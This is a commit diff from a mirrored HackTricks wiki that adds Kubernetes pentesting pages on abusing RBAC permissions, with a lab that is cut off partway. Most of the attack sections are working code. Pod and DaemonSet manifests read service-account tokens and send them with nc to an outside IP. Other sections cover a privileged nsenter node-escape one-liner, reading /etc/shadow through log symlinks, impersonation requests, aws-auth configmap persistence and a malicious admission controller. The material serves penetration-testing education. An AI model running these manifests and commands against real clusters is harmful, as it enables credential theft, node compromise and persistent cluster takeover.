gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-01 18:44:56 -07:00
Code Issues Packages Projects Releases Wiki Activity

Migrate to using mdbook

Browse Source
This commit is contained in:
Congon4tor
2024-12-31 17:04:35 +01:00
parent b9a9fed802
commit cd27cf5a2e
1373 changed files with 26143 additions and 34152 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-cloud/kubernetes-security/README.md
+80
View File
@@ -0,0 +1,80 @@
# Kubernetes Pentesting
{{#include ../../banners/hacktricks-training.md}}
## Kubernetes Basics
If you don't know anything about Kubernetes this is a **good start**. Read it to learn about the **architecture, components and basic actions** in Kubernetes:
{{#ref}}
kubernetes-basics.md
{{#endref}}
### Labs to practice and learn
- [https://securekubernetes.com/](https://securekubernetes.com)
- [https://madhuakula.com/kubernetes-goat/index.html](https://madhuakula.com/kubernetes-goat/index.html)
## Hardening Kubernetes / Automatic Tools
{{#ref}}
kubernetes-hardening/
{{#endref}}
## Manual Kubernetes Pentest
### From the Outside
There are several possible **Kubernetes services that you could find exposed** on the Internet (or inside internal networks). If you find them you know there is Kubernetes environment in there.
Depending on the configuration and your privileges you might be able to abuse that environment, for more information:
{{#ref}}
pentesting-kubernetes-services/
{{#endref}}
### Enumeration inside a Pod
If you manage to **compromise a Pod** read the following page to learn how to enumerate and try to **escalate privileges/escape**:
{{#ref}}
attacking-kubernetes-from-inside-a-pod.md
{{#endref}}
### Enumerating Kubernetes with Credentials
You might have managed to compromise **user credentials, a user token or some service account toke**n. You can use it to talk to the Kubernetes API service and try to **enumerate it to learn more** about it:
{{#ref}}
kubernetes-enumeration.md
{{#endref}}
Another important details about enumeration and Kubernetes permissions abuse is the **Kubernetes Role-Based Access Control (RBAC)**. If you want to abuse permissions, you first should read about it here:
{{#ref}}
kubernetes-role-based-access-control-rbac.md
{{#endref}}
#### Knowing about RBAC and having enumerated the environment you can now try to abuse the permissions with:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
{{#endref}}
### Privesc to a different Namespace
If you have compromised a namespace you can potentially escape to other namespaces with more interesting permissions/resources:
{{#ref}}
kubernetes-namespace-escalation.md
{{#endref}}
### From Kubernetes to the Cloud
If you have compromised a K8s account or a pod, you might be able able to move to other clouds. This is because in clouds like AWS or GCP is possible to **give a K8s SA permissions over the cloud**.
{{#ref}}
kubernetes-pivoting-to-clouds.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}
src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md
+698
View File
@@ -0,0 +1,698 @@
# Abusing Roles/ClusterRoles in Kubernetes
{{#include ../../../banners/hacktricks-training.md}}
Here you can find some potentially dangerous Roles and ClusterRoles configurations.\
Remember that you can get all the supported resources with `kubectl api-resources`
## **Privilege Escalation**
Referring as the art of getting **access to a different principal** within the cluster **with different privileges** (within the kubernetes cluster or to external clouds) than the ones you already have, in Kubernetes there are basically **4 main techniques to escalate privileges**:
- Be able to **impersonate** other user/groups/SAs with better privileges within the kubernetes cluster or to external clouds
- Be able to **create/patch/exec pods** where you can **find or attach SAs** with better privileges within the kubernetes cluster or to external clouds
- Be able to **read secrets** as the SAs tokens are stored as secrets
- Be able to **escape to the node** from a container, where you can steal all the secrets of the containers running in the node, the credentials of the node, and the permissions of the node within the cloud it's running in (if any)
- A fifth technique that deserves a mention is the ability to **run port-forward** in a pod, as you may be able to access interesting resources within that pod.
### Access Any Resource or Verb (Wildcard)
The **wildcard (\*) gives permission over any resource with any verb**. It's used by admins. Inside a ClusterRole this means that an attacker could abuse anynamespace in the cluster
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
```
### Access Any Resource with a specific verb
In RBAC, certain permissions pose significant risks:
1. **`create`:** Grants the ability to create any cluster resource, risking privilege escalation.
2. **`list`:** Allows listing all resources, potentially leaking sensitive data.
3. **`get`:** Permits accessing secrets from service accounts, posing a security threat.
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]
```
### Pod Create - Steal Token
An atacker with the permissions to create a pod, could attach a privileged Service Account into the pod and steal the token to impersonate the Service Account. Effectively escalating privileges to it
Example of a pod that will steal the token of the `bootstrap-signer` service account and send it to the attacker:
```yaml
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
```
### Pod Create & Escape
The following indicates all the privileges a container can have:
- **Privileged access** (disabling protections and setting capabilities)
- **Disable namespaces hostIPC and hostPid** that can help to escalate privileges
- **Disable hostNetwork** namespace, giving access to steal nodes cloud privileges and better access to networks
- **Mount hosts / inside the container**
```yaml:super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
# add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /
```
Create the pod with:
```bash
kubectl --token $token create -f mount_root.yaml
```
One-liner from [this tweet](https://twitter.com/mauilion/status/1129468485480751104) and with some additions:
```bash
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
```
Now that you can escape to the node check post-exploitation techniques in:
#### Stealth
You probably want to be **stealthier**, in the following pages you can see what you would be able to access if you create a pod only enabling some of the mentioned privileges in the previous template:
- **Privileged + hostPID**
- **Privileged only**
- **hostPath**
- **hostPID**
- **hostNetwork**
- **hostIPC**
_You can find example of how to create/abuse the previous privileged pods configurations in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
### Pod Create - Move to cloud
If you can **create** a **pod** (and optionally a **service account**) you might be able to **obtain privileges in cloud environment** by **assigning cloud roles to a pod or a service account** and then accessing it.\
Moreover, if you can create a **pod with the host network namespace** you can **steal the IAM** role of the **node** instance.
For more information check:
{{#ref}}
pod-escape-privileges.md
{{#endref}}
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
It's possible to abouse these permissions to **create a new pod** and estalae privileges like in the previous example.
The following yaml **creates a daemonset and exfiltrates the token of the SA** inside the pod:
```yaml
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /
```
### **Pods Exec**
**`pods/exec`** is a resource in kubernetes used for **running commands in a shell inside a pod**. This allows to **run commands inside the containers or get a shell inside**.
Therfore, it's possible to **get inside a pod and steal the token of the SA**, or enter a privileged pod, escape to the node, and steal all the tokens of the pods in the node and (ab)use the node:
```bash
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
```
### port-forward
This permission allows to **forward one local port to one port in the specified pod**. This is meant to be able to debug applications running inside a pod easily, but an attacker might abuse it to get access to interesting (like DBs) or vulnerable applications (webs?) inside a pod:
```
kubectl port-forward pod/mypod 5000:5000
```
### Hosts Writable /var/log/ Escape
As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), if you can access or create a pod with the **hosts `/var/log/` directory mounted** on it, you can **escape from the container**.\
This is basically because the when the **Kube-API tries to get the logs** of a container (using `kubectl logs <pod>`), it **requests the `0.log`** file of the pod using the `/logs/` endpoint of the **Kubelet** service.\
The Kubelet service exposes the `/logs/` endpoint which is just basically **exposing the `/var/log` filesystem of the container**.
Therefore, an attacker with **access to write in the /var/log/ folder** of the container could abuse this behaviours in 2 ways:
- Modifying the `0.log` file of its container (usually located in `/var/logs/pods/namespace_pod_uid/container/0.log`) to be a **symlink pointing to `/etc/shadow`** for example. Then, you will be able to exfiltrate hosts shadow file doing:
```bash
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
```
- If the attacker controls any principal with the **permissions to read `nodes/log`**, he can just create a **symlink** in `/host-mounted/var/log/sym` to `/` and when **accessing `https://<gateway>:10250/logs/sym/` he will lists the hosts root** filesystem (changing the symlink can provide access to files).
```bash
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]
```
**A laboratory and automated exploit can be found in** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
#### Bypassing readOnly protection <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
If you are lucky enough and the highly privileged capability capability `CAP_SYS_ADMIN` is available, you can just remount the folder as rw:
```bash
mount -o rw,remount /hostlogs/
```
#### Bypassing hostPath readOnly protection <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
As stated in [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) it’s possible to bypass the protection:
```yaml
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
```
Which was meant to prevent escapes like the previous ones by, instead of using a a hostPath mount, use a PersistentVolume and a PersistentVolumeClaim to mount a hosts folder in the container with writable access:
```yaml
apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol
```
### **Impersonating privileged accounts**
With a [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) privilege, an attacker could impersonate a privileged account.
Just use the parameter `--as=<username>` in the `kubectl` command to impersonate a user, or `--as-group=<group>` to impersonate a group:
```bash
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters
```
Or use the REST API:
```bash
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Listing Secrets
The permission to **list secrets could allow an attacker to actually read the secrets** accessing the REST API endpoint:
```bash
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Reading a secret – brute-forcing token IDs
While an attacker in possession of a token with read permissions requires the exact name of the secret to use it, unlike the broader _**listing secrets**_ privilege, there are still vulnerabilities. Default service accounts in the system can be enumerated, each associated with a secret. These secrets have a name structure: a static prefix followed by a random five-character alphanumeric token (excluding certain characters) according to the [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
The token is generated from a limited 27-character set (`bcdfghjklmnpqrstvwxz2456789`), rather than the full alphanumeric range. This limitation reduces the total possible combinations to 14,348,907 (27^5). Consequently, an attacker could feasibly execute a brute-force attack to deduce the token in a matter of hours, potentially leading to privilege escalation by accessing sensitive service accounts.
### Certificate Signing Requests
If you have the verbs **`create`** in the resource `certificatesigningrequests` ( or at least in `certificatesigningrequests/nodeClient`). You can **create** a new CeSR of a **new node.**
According to the [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), so in that case you **don't need extra permissions**. If not, you would need to be able to approve the request, which means update in `certificatesigningrequests/approval` and `approve` in `signers` with resourceName `<signerNameDomain>/<signerNamePath>` or `<signerNameDomain>/*`
An **example of a role** with all the required permissions is:
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve
```
So, with the new node CSR approved, you can **abuse** the special permissions of nodes to **steal secrets** and **escalate privileges**.
In [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) and [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) the GKE K8s TLS Bootstrap configuration is configured with **automatic signing** and it's abused to generate credentials of a new K8s Node and then abuse those to escalate privileges by stealing secrets.\
If you **have the mentioned privileges yo could do the same thing**. Note that the first example bypasses the error preventing a new node to access secrets inside containers because a **node can only access the secrets of containers mounted on it.**
The way to bypass this is just to **create a node credentials for the node name where the container with the interesting secrets is mounted** (but just check how to do it in the first post):
```bash
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
```
### AWS EKS aws-auth configmaps
Principals that can modify **`configmaps`** in the kube-system namespace on EKS (need to be in AWS) clusters can obtain cluster admin privileges by overwriting the **aws-auth** configmap.\
The verbs needed are **`update`** and **`patch`**, or **`create`** if configmap wasn't created:
```bash
# Check if config map exists
get configmap aws-auth -n kube-system -o yaml
## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns
# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters
```
> [!WARNING]
> You can use **`aws-auth`** for **persistence** giving access to users from **other accounts**.
>
> However, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **doesn't work from a different acount**. But actually `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` works if you put the ARN of the cluster instead of just the name.\
> To make `kubectl` work, just make sure to **configure** the **victims kubeconfig** and in the aws exec args add `--profile other_account_role` so kubectl will be using the others account profile to get the token and contact AWS.
### Escalating in GKE
There are **2 ways to assign K8s permissions to GCP principals**. In any case the principal also needs the permission **`container.clusters.get`** to be able to gather credentials to access the cluster, or you will need to **generate your own kubectl config file** (follow the next link).
> [!WARNING]
> When talking to the K8s api endpoint, the **GCP auth token will be sent**. Then, GCP, through the K8s api endpoint, will first **check if the principal** (by email) **has any access inside the cluster**, then it will check if it has **any access via GCP IAM**.\
> If **any** of those are **true**, he will be **responded**. If **not** an **error** suggesting to give **permissions via GCP IAM** will be given.
Then, the first method is using **GCP IAM**, the K8s permissions have their **equivalent GCP IAM permissions**, and if the principal have it, it will be able to use it.
{{#ref}}
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
{{#endref}}
The second method is **assigning K8s permissions inside the cluster** to the identifying the user by its **email** (GCP service accounts included).
### Create serviceaccounts token
Principals that can **create TokenRequests** (`serviceaccounts/token`) When talking to the K8s api endpoint SAs (info from [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
### ephemeralcontainers
Principals that can **`update`** or **`patch`** **`pods/ephemeralcontainers`** can gain **code execution on other pods**, and potentially **break out** to their node by adding an ephemeral container with a privileged securityContext
### ValidatingWebhookConfigurations or MutatingWebhookConfigurations
Principals with any of the verbs `create`, `update` or `patch` over `validatingwebhookconfigurations` or `mutatingwebhookconfigurations` might be able to **create one of such webhookconfigurations** in order to be able to **escalate privileges**.
For a [`mutatingwebhookconfigurations` example check this section of this post](./#malicious-admission-controller).
### Escalate
As you can read in the next section: [**Built-in Privileged Escalation Prevention**](./#built-in-privileged-escalation-prevention), a principal cannot update neither create roles or clusterroles without having himself those new permissions. Except if he has the **verb `escalate`** over **`roles`** or **`clusterroles`.**\
Then he can update/create new roles, clusterroles with better permissions than the ones he has.
### Nodes proxy
Principals with access to the **`nodes/proxy`** subresource can **execute code on pods** via the Kubelet API (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). More information about Kubelet authentication in this page:
{{#ref}}
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
{{#endref}}
You have an example of how to get [**RCE talking authorized to a Kubelet API here**](../pentesting-kubernetes-services/#kubelet-rce).
### Delete pods + unschedulable nodes
Principals that can **delete pods** (`delete` verb over `pods` resource), or **evict pods** (`create` verb over `pods/eviction` resource), or **change pod status** (access to `pods/status`) and can **make other nodes unschedulable** (access to `nodes/status`) or **delete nodes** (`delete` verb over `nodes` resource) and has control over a pod, could **steal pods from other nodes** so they are **executed** in the **compromised** **node** and the attacker can **steal the tokens** from those pods.
```bash
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}
while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack
kubectl delete pods -n kube-system <privileged_pod_name>
```
### Services status (CVE-2020-8554)
Principals that can **modify** **`services/status`** may set the `status.loadBalancer.ingress.ip` field to exploit the **unfixed CVE-2020-8554** and launch **MiTM attacks against the clus**ter. Most mitigations for CVE-2020-8554 only prevent ExternalIP services (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
### Nodes and Pods status
Principals with **`update`** or **`patch`** permissions over `nodes/status` or `pods/status`, could modify labels to affect scheduling constraints enforced.
## Built-in Privileged Escalation Prevention
Kubernetes has a [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) to prevent privilege escalation.
This system ensures that **users cannot elevate their privileges by modifying roles or role bindings**. The enforcement of this rule occurs at the API level, providing a safeguard even when the RBAC authorizer is inactive.
The rule stipulates that a **user can only create or update a role if they possess all the permissions the role comprises**. Moreover, the scope of the user's existing permissions must align with that of the role they are attempting to create or modify: either cluster-wide for ClusterRoles or confined to the same namespace (or cluster-wide) for Roles.
> [!WARNING]
> There is an exception to the previous rule. If a principal has the **verb `escalate`** over **`roles`** or **`clusterroles`** he can increase the privileges of roles and clusterroles even without having the permissions himself.
### **Get & Patch RoleBindings/ClusterRoleBindings**
> [!CAUTION]
> **Apparently this technique worked before, but according to my tests it's not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don't have already.**
The privilege to create Rolebindings allows a user to **bind roles to a service account**. This privilege can potentially lead to privilege escalation because it **allows the user to bind admin privileges to a compromised service account.**
## Other Attacks
### Sidecar proxy app
By default there isn't any encryption in the communication between pods .Mutual authentication, two-way, pod to pod.
#### Create a sidecar proxy app <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>
Create your .yaml
```bash
kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'
```
Edit your .yaml and add the uncomment lines:
```yaml
#apiVersion: v1
#kind: Pod
#metadata:
# name: security-context-demo
#spec:
# securityContext:
# runAsUser: 1000
# runAsGroup: 3000
# fsGroup: 2000
# volumes:
# - name: sec-ctx-vol
# emptyDir: {}
# containers:
# - name: sec-ctx-demo
# image: busybox
command:
[
"sh",
"-c",
"apt update && apt install iptables -y && iptables -L && sleep 1h",
]
securityContext:
capabilities:
add: ["NET_ADMIN"]
# volumeMounts:
# - name: sec-ctx-vol
# mountPath: /data/demo
# securityContext:
# allowPrivilegeEscalation: true
```
See the logs of the proxy:
```bash
kubectl logs app -C proxy
```
More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
### Malicious Admission Controller
An admission controller **intercepts requests to the Kubernetes API server** before the persistence of the object, but **after the request is authenticated** **and authorized**.
If an attacker somehow manages to **inject a Mutationg Admission Controller**, he will be able to **modify already authenticated requests**. Being able to potentially privesc, and more usually persist in the cluster.
**Example from** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
```bash
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w
```
Check the status to see if it's ready:
```bash
kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo
```
![mutating-webhook-status-check.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433436353/yHUvUWugR.png?auto=compress,format&format=webp)
Then deploy a new pod:
```bash
kubectl run nginx --image nginx
kubectl get po -w
```
When you can see `ErrImagePull` error, check the image name with either of the queries:
```bash
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "
```
![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp)
As you can see in the above image, we tried running image `nginx` but the final executed image is `rewanthtammana/malicious-image`. What just happened!!?
#### Technicalities <a href="#heading-technicalities" id="heading-technicalities"></a>
The `./deploy.sh` script establishes a mutating webhook admission controller, which modifies requests to the Kubernetes API as specified in its configuration lines, influencing the outcomes observed:
```
patches = append(patches, patchOperation{
Op: "replace",
Path: "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})
```
The above snippet replaces the first container image in every pod with `rewanthtammana/malicious-image`.
## OPA Gatekeeper bypass
{{#ref}}
../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
{{#endref}}
## Best Practices
### **Disabling Automount of Service Account Tokens**
- **Pods and Service Accounts**: By default, pods mount a service account token. To enhance security, Kubernetes allows the disabling of this automount feature.
- **How to Apply**: Set `automountServiceAccountToken: false` in the configuration of service accounts or pods starting from Kubernetes version 1.6.
### **Restrictive User Assignment in RoleBindings/ClusterRoleBindings**
- **Selective Inclusion**: Ensure that only necessary users are included in RoleBindings or ClusterRoleBindings. Regularly audit and remove irrelevant users to maintain tight security.
### **Namespace-Specific Roles Over Cluster-Wide Roles**
- **Roles vs. ClusterRoles**: Prefer using Roles and RoleBindings for namespace-specific permissions rather than ClusterRoles and ClusterRoleBindings, which apply cluster-wide. This approach offers finer control and limits the scope of permissions.
### **Use automated tools**
{{#ref}}
https://github.com/cyberark/KubiScan
{{#endref}}
{{#ref}}
https://github.com/aquasecurity/kube-hunter
{{#endref}}
{{#ref}}
https://github.com/aquasecurity/kube-bench
{{#endref}}
## **References**
- [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions)
- [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
{{#include ../../../banners/hacktricks-training.md}}
src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/kubernetes-roles-abuse-lab.md
+612
View File
@@ -0,0 +1,612 @@
# Kubernetes Roles Abuse Lab
{{#include ../../../banners/hacktricks-training.md}}
You can run these labs just inside **minikube**.
## Pod Creation -> Escalate to ns SAs
We are going to create:
- A **Service account "test-sa"** with a cluster privilege to **read secrets**
- A ClusterRole "test-cr" and a ClusterRoleBinding "test-crb" will be created
- **Permissions** to list and **create** pods to a user called "**Test**" will be given
- A Role "test-r" and RoleBinding "test-rb" will be created
- Then we will **confirm** that the SA can list secrets and that the user Test can list a pods
- Finally we will **impersonate the user Test** to **create a pod** that includes the **SA test-sa** and **steal** the service account **token.**
- This is the way yo show the user could escalate privileges this way
> [!NOTE]
> To create the scenario an admin account is used.\
> Moreover, to **exfiltrate the sa token** in this example the **admin account is used** to exec inside the created pod. However, **as explained here**, the **declaration of the pod could contain the exfiltration of the token**, so the "exec" privilege is not necesario to exfiltrate the token, the **"create" permission is enough**.
```bash
# Create Service Account test-sa
# Create role and rolebinding to give list and create permissions over pods in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: ServiceAccount
name: test-sa
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets
# Check user User can get pods in namespace default
kubectl --as Test -n default get pods
# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: v1
kind: Pod
metadata:
name: test-pod
namespace: default
spec:
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true"| kubectl --as Test apply -f -
# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
# Clean the scenario
kubectl delete pod test-pod
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa
```
## Create Daemonset
```bash
# Create Service Account test-sa
# Create role and rolebinding to give list & create permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
